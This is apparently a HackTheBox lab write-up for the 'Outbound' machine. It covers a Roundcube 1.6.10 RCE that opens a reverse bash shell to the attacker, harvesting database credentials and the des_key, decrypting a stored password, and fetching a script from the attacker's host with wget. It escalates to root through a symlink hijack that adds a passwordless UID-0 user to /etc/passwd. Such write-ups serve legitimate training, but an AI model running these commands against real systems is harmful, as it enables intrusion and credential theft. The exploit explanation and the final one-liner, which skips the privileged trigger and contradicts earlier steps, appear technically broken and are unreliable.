Outbound

Executive Summary

Outbound is an easy-difficulty Linux machine on HackTheBox that centers on exposing credentials, exploiting a vulnerability in the Roundcube webmail application to gain remote code execution, and utilizing a local directory permission flaw to perform a symlink attack for privilege escalation.

The compromise begins with the provided initial credentials for user tyler, which allow authentication to the Roundcube Webmail client on port 80. The Roundcube instance is running version 1.6.10, which is vulnerable to post-authorization Remote Code Execution (RCE). Exploiting this vulnerability via a custom Metasploit module grants an interactive reverse shell as the www-data user.

Upon obtaining a shell, the attacker retrieves database credentials from the Roundcube configuration file (config.inc.php) and inspects the database session table. Decoding the base64-encoded session data exposes the encrypted password for user jacob. After decrypting the password using the default decryption script, the attacker pivots to jacob and locates a secondary password within a local email inbox, which enables SSH access.

For privilege escalation, the user jacob has sudo privileges to execute the system monitoring utility below as root. Furthermore, the logging directory /var/log/below is configured with world-writable permissions. By replacing the error_root.log file with a symbolic link pointing to /etc/passwd, the attacker triggers a privileged write operation, appending a root-privilege user account and achieving full root compromise.

As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2

Nmap Scan

Full port scan followed by service detection:

sudo nmap -p- --min-rate 10000 10.10.11.77
nmap -sC -sV -p 22,80 10.10.11.77

Nmap scan report for outbound.htb (10.10.11.77)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two open ports: SSH (22) and HTTP (80) with a redirect to mail.outbound.htb, indicating a virtual host. We add both domains to /etc/hosts:

echo "10.10.11.77 outbound.htb mail.outbound.htb" | sudo tee -a /etc/hosts

Roundcube Webmail

Browsing to http://mail.outbound.htb presents a Roundcube Webmail login page. As noted in the box description, we start with provided credentials for the user tyler:

Field	Value
Username	tyler
Password	LhKL1o9Nm3X2

After logging in, the About section reveals the version Roundcube Webmail 1.6.10.

Exploiting Roundcube 1.6.10 — RCE

Roundcube 1.6.10 is vulnerable to a post-authentication remote code execution exploit (EDB-52324). The exploit works by abusing Roundcube’s contact photo/vcard upload functionality — when a user imports a malicious vCard, the embedded payload gets processed by PHP’s exif_imagetype() or similar image processing, which can execute arbitrary code.

We use a custom Metasploit module for this:

mkdir -p ~/.msf4/modules/exploits/linux/http/
cd ~/.msf4/modules/exploits/linux/http/
# Save the exploit as roundcube_postauth_rce.rb

Then configure and run:

msf6 > use exploit/linux/http/roundcube_postauth_rce
msf6 > set RHOSTS mail.outbound.htb
msf6 > set USERNAME tyler
msf6 > set PASSWORD LhKL1o9Nm3X2
msf6 > set TARGETURI /
msf6 > set LHOST tun0
msf6 > set LPORT 4444
msf6 > set AutoCheck false
msf6 > set TARGET 1
msf6 > set PAYLOAD cmd/unix/reverse_bash
msf6 > run

[*] Command shell session 1 opened (10.10.14.195:4444 -> 10.10.11.77:47276)

Once the session opens, we stabilize the shell and explore:

/bin/bash -i
www-data@mail:/var/www/html$ ls
index.nginx-debian.html  roundcube
www-data@mail:/var/www/html$ cd roundcube/config

Database Credentials from Roundcube Config

The Roundcube configuration file config.inc.php contains the database connection string:

www-data@mail:/var/www/html/roundcube$ cd config

www-data@mail:/var/www/html/roundcube/config$ ls
config.inc.php
config.inc.php.sample
defaults.inc.php
mimetypes.php

www-data@mail:/var/www/html/roundcube/config$ cat config.inc.php
cat config.inc.php
<?php

/*
 +-----------------------------------------------------------------------+
 | Local configuration for the Roundcube Webmail installation.           |
 |                                                                       |
 | This is a sample configuration file only containing the minimum       |
 | setup required for a functional installation. Copy more options       |
 | from defaults.inc.php to this file to override the defaults.          |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/

$config = [];

// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';

// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';

// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';

// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';

// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';

// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';

// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

// List of active plugins (in plugins/ directory)
$config['plugins'] = [
    'archive',
    'zipdownload',
];

// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';
www-data@mail:/var/www/html/roundcube/config$ 

From config.inc.php, we extract SQL credentials: roundcube:RCDBPass2025. We also note the des_key (rcmail-!24ByteDESkey*Str) for later.

mysql -u roundcube -p -e "SHOW DATABASES; USE roundcube; SHOW TABLES;"
Enter password: RCDBPass2025

The users table contains three users (jacob, mel, tyler), and the sessions table has active PHP sessions with serialized + base64-encoded data. One entry belongs to jacob and contains his encrypted IMAP password.

From the session data, we extract the encrypted password. We then decode and decrypt:

echo "<base64-session-data>" | base64 -d | grep -oP 'username\|s:\d+:"\K[^"]+|password\|s:\d+:"\K[^"]+'

username: jacob
password: L7Rv00A8TuwJAr67kITxxcSgnIk25Am/

Roundcube encrypts passwords using the des_key (rcmail-!24ByteDESkey*Str) with a custom DES-based cipher. The official decrypt.sh reverses it. We upload and run:

cd /var/www/html/roundcube/bin
wget http://10.10.14.195/decrypt.sh -O decrypt.sh
chmod +x decrypt.sh
./decrypt.sh "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"

595mO8DmwGeD

We can now switch to jacob:

su jacob
Password: 595mO8DmwGeD

Email Disclosure — SSH Password

Checking ~/mail/INBOX/jacob reveals two emails:

Email 1 — from tyler — contains a system login password:

Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4

Email 2 — from mel — hints at the privilege escalation vector (the below monitoring tool):

We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted
you privileges to inspect the logs.

SSH Access — User Flag

ssh jacob@10.10.11.77
Password: gY4Wr3a1evp4

jacob@outbound:~$ cat user.txt
*****************a8209917407f5908

Privilege Escalation

Running sudo -l shows that jacob can run /usr/bin/below as root with arbitrary arguments (except --config*, --debug*, -d*):

jacob@outbound:~$ sudo -l
User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

The below Log Writes — Symlink Hijack

The log directory /var/log/below is world-writable (777):

jacob@outbound:/var/log/below$ ls -la
drwxrwxrwx  3 root  root   4096 ...
-rw-rw-rw-  1 root  root      0 error_root.log

The below tool, when run via sudo, writes error logs as root to error_root.log. Since we control this directory, we can:

1. Delete error_root.log
2. Replace it with a symlink pointing to /etc/passwd
3. Trigger below to write to error_root.log → it writes through the symlink to /etc/passwd

We craft a fake passwd entry with a new user furious5 having UID 0 (root):

echo 'furious5::0:0:furious5:/root:/bin/bash' > /tmp/fakepass
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log

Now we run below via sudo to trigger the log write. The below tool writes error data to error_root.log, which is now a symlink to /etc/passwd. The fake furious5::0:0 entry gets appended to /etc/passwd, and we su to furious5 (no password needed since the second field is empty):

sudo /usr/bin/below set log-level error
su furious5

Or as a one-liner:

echo 'furious5::0:0:furious5:/root:/bin/bash' > /tmp/fakepass && rm -f /var/log/below/error_root.log && ln -s /etc/passwd /var/log/below/error_root.log && cp /tmp/fakepass /var/log/below/error_root.log && su furious5

furious5@outbound:~# cat /root/root.txt
****************f3166c0463ca903e

Mitigations & Security Recommendations

1. Keep Software Updated:
   • Regularly upgrade web applications and services. Upgrading Roundcube Webmail beyond version 1.6.10 mitigates the post-authorization RCE vulnerability.
2. Secure Database and Application Secrets:
   • Change the default encryption key (des_key) in the Roundcube config file to a strong, randomly generated value.
   • Enforce database credential hygiene by restricting database user privileges to only what is necessary (e.g., denying the roundcube database user access to administrative commands or other unrelated databases).
3. Inbound Email and Credential Policies:
   • Restrict the delivery or storage of plaintext credentials in system mailboxes. Implement automatic expiration for temporary credentials, and require users to reset their password upon initial login.
4. Correct Permissions on Log Directories:
   • Restrict write access to directory paths hosting system logs (such as /var/log/below). The directory /var/log/below should not be world-writable (777). Apply restrictive permissions (e.g., 755 or 750) and ensure only the logging service and root have write access.
   • To prevent symlink hijack attacks, do not run services that write to user-controlled directories as root without verifying that target files are not symbolic links.
5. Follow the Principle of Least Privilege in Sudo Configurations:
   • Avoid using wildcards (*) in /etc/sudoers rules where possible, as they can allow command parameter injection.
   • Limit the binaries that users can run as root to specific, audited programs that do not contain features allowing arbitrary file writes, shell escapes, or environment modification.